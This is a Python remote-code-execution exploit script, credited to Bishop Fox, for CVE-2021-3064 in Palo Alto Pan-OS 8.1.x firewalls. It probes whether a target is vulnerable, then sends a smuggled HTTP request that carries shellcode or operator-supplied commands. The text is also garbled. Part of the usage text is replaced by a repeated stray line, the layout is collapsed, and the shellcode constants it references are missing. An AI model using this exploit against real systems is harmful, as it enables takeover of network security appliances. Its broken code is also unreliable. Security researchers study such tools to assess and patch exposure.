#!/usr/bin/env python3
#
# Bishop Fox Cosmos Team
# Pan-OS 8.x_vm buffer overflow exploit
# @CarlLivitt
#
# April 2022
#
# Run: ./CVE-2021-3064.py -h
#
import struct
import ssl
import socket
import sys
import time
import base64
import getopt
def usage():
print((
"Bishop Fox Cosmos Team\n"
"Palo Alto 8.1.1 - 8.1.16 RCE Exploit\n"
"\n"
"%s [-v] -t host[:port] [ -c commands | -s shellcode_file ]\n"
"\n"
" -h Help.\n"
" -v Test if vulnerable. No exploit.\n"
" -t host[:port] Specify the target IP:port. Defaults to port 443.\n"
" -s filename Use raw shellcode from Invalid input: /clientcert-info.sslvpn
Invalid input: /clientcert-info.sslvpn
" in r: reason = "Not vulnerable: found Pan-OS version >= 8.1.17 (see code comments re: 8.1.17)" return (False, reason) # for 8.1.17 support: return (True, reason) if "Transfer-Encoding: chunked" in r: if "Connection: keep-alive" in r: if "Content-Type: text/html" in r: return (True, "Vulnerable!") return (False, "Not vulnerable? Unknown. Response: %s" % str(r)) # Either exit() if unsuccessful, or return if (probably) successful. def do_exploit(): global payload, host, port print("[+] do_exploit(%s:%d)" % (host, port)) try: sock = getConnectedSocket(host, port) sock.send(payload.encode('raw_unicode_escape')) # Read firewall response #print("[+] Read response") r = sock.recv(512).decode().split('\r\n') response = "\n".join(r) sock.close() except Exception as e: print("\nException: ", e) # If we get a response matching the following parameters, then the exploit # was _probably_ successful. Or it crashed the remote process. Figure it out ;) if "HTTP/1.1 400 Bad Request" in response and "Content-Length: 176" in response: print("[+] Received the expected response! Exploit appears successful.") else: print("[!] Did NOT receive the expected response.\n\n%s" % response) exit(1) # # Start # if __name__ == "__main__": stage3Shellcode = "" shellcodeMode = False commandMode = False attemptExploit = True shellcodeFile = "" rceCommands = "" host = "" port = 0 # Handle command-line try: opts, args = getopt.getopt(sys.argv[1:], "hvt:s:c:", ["help", "test-vuln", "target=", "shellcode-file=","command="]) except getopt.GetoptError as err: # print help information and exit: print(err) # will print something like "option -a not recognized" usage() sys.exit(2) for o, a in opts: if o in ("-h", "--help"): usage() sys.exit() elif o in ("-v", "--test-vuln"): attemptExploit = False elif o in ("-t", "--target"): host = a if ':' in host: (host, port) = host.split(':') port = int(port) else: host = a port = 443 elif o in ("-s", "--shellcode"): shellcodeMode = True shellcodeFile = a try: with open(shellcodeFile, mode='rb') as file: userShellcode = file.read() stage3Shellcode = stackSaveShellcode + stackAllocShellcode + userShellcode + stackRestoreShellcode except: print("Error, couldn't open %s." % shellcodeFile) exit(2) elif o in ("-c", "--command"): commandMode = True rceCommands = a stage3Shellcode = stackSaveShellcode + stackAllocShellcode + commandExecShellcode + stackRestoreShellcode else: usage() exit(1) if (commandMode == False and shellcodeMode == False) or (commandMode == True and shellcodeMode == True): usage() exit(1) if attemptExploit == False and (shellcodeMode == True or commandMode == True): usage(); exit(1) if host == "": usage() exit(1) # Test vuln before trying the exploit print("[+] Testing to see if %s is vulnerable..." % host) (status, reason) = is_vulnerable(host, port) if status == False: print("[!] %s" % reason) exit(2) if attemptExploit == False: print("[+] %s" % reason) exit(0) # Populate our payload buffer smuggledRequest = smuggledRequest.replace("XXXXX", exploitPayload) smuggledRequest = smuggledRequest.replace("YYYYY", stage3Shellcode) smuggledRequest = smuggledRequest.replace("ZZZZZ", rceCommands) payload = payload.replace("LLLLL", str(len(smuggledRequest))) payload = payload + smuggledRequest # Unleash the beast print("[+] %s appears to be vulnerable. Trying the exploit!" % host) do_exploit() print("[+] All done. So long, and thanks for all the fish!") # EOF